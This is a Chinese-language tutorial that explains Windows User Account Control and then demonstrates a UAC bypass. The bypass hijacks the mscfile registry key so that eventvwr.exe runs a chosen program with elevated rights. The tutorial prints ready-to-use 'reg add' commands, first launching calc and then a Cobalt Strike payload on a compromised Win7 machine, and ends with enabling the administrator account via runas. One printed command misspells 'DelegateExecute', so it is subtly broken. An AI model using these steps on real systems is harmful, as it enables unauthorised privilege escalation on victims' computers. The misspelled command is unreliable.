Windows UAC概述
UAC概述
UAC(User Account Control),中文翻译为用户帐户控制,是微软在Windows Vista和Windows7中引用的新技术,主要功能是进行一些会影响系统安全的操作时,会自动触发UAC,用户确认后才能执行。因为大部分的恶意软件、木马病毒、广告插件在进入计算机时都会有如:将文件复制到Windows或Program Files等目录、安装驱动、安装ActiveX等操作,而这些操作都会触发UAC,用户都可以在UAC提示时来禁止这些程序的运行
许可提示当用户尝试执行需要用户管理访问令牌的任务时,会显示同意提示,下面是 UAC 同意提示的示例
选择是执行程序,选择否则相反
凭据提示当标准用户尝试执行需要用户管理访问令牌的任务时,会显示凭据提示, 还可以要求管理员提供其凭据。
UAC触发操作
UAC触发的条件如下
修改Windows Update配置;
增加或删除用户帐户;
改变用户的帐户类型;
改变UAC设置;
安装ActiveX;
安装或卸载程序;
安装设备驱动程序;
修改和设置家长控制;
增加或修改注册表;
将文件移动或复制到Program Files或是Windows目录;
访问其他用户目录
UAC有用四种设置要求
简单来说,UAC设置分四种,分为始终通知、仅在程序尝试对我的计算机进行更改时通知我、仅当程序尝试更改计算机时通知我(不降低桌面亮度)和从不通知。按W+R –输入msconfig 设置UAC
基于白名单AutoElevate绕过UAC原理
利用白名单程序的本质实际上是劫持注册表,这种方法主要是通过寻找autoElevated属性为true的程序,修改其注册表command的值,改成我们想要执行的paylaod,在该值中指明的字段会在这类程序运行时自动执行,类似于默认程序打开,当你以后运行该程序时,这个command命令都会自动执行。
UAC同样也会对系统本身的程序造成影响,微软也不希望运行系统程序也需要询问用户,因为系统程序是安全的。因此,微软则在 UAC 中添加了白名单机制常见白名单如下
msconfig.exe
taskmgr.exe
perfmon.exe
cleanmgr.exe
sdclt.exe
dccw.exe
eventvwr.exe
computerdefaults.exe
fodhelper.exe
当我们运行eventvwr.exe时,因为eventvwr.exe是UAC白名单的成员,所以不会进行UAC的弹窗,直接运行eventvwr.exe程序
我们在win7的系统下运行eventvwr.exe,使用Process Monitor监控该程序,发现HKCU\Software\Classes\mscfile\shell\open\command
的值结果是没发现(NAME NOT FOUND)
我们在运行eventvwr.exe,程序会在注册表下去找这些值,如果这些值是一个calc的程序,那么系统在运行eventwr.exe时就会去执行一个calc.exe
由于这些注册表项不存在,用户可以在注册表中创建此结构,以便绕过用户账户控制 (UAC) 执行具有更高权限的命令。
我们打开注册表,去找到刚刚那个注册表的位置
可以看到,当前这个注册表是没有值得,我们修改这个注册表的值,让他去运行calc程序
当我们再次运行eventvwr.exe时,就会直接绕过UAC,弹出calc程序,如果我们将这个程序替换成恶意程序,那么很显然这个恶意程序也将直接绕过UAC
上面这些步骤我们可以直接用一条命令来代替
reg add HKCU\Software\Classes\mscfile\shell\open\command /ve /t REG_SZ /d "cmd.exe /c calc" /f
在添加上面这条命令时,也务必同时添加下面这条命令
reg add HKCU\Software\Classes\mscfile\shell\open\command /v DelegateExcute /t REG_SZ
CS提权实验
我们先通过恶意程序上线我们的WIN7
可以看到,当前用户是没有权限执行添加用户的权限的
接下来我们修改注册表的值,让他去运行我们的恶意程序
reg add HKCU\Software\Classes\mscfile\shell\open\command /ve /t REG_SZ /d "cmd.exe /c C:\Users\test\Desktop\artifact.exe" /f
reg add HKCU\Software\Classes\mscfile\shell\open\command /v DelegateExcute /t REG_SZ
接下来我们只需要去运行eventvwr.exe程序就可以了
这虽然看起了还是普通用户,但是已经绕过了UAC可以执行命令了,接下来利用cmd添加用户或者启用administrator,然后使用runas进行权限切换到administrator
如果想拿到system权限或者administrator可以使用runas进行提权和降权
首先激活administrator并且更改密码,使用runas提权

暂无评论内容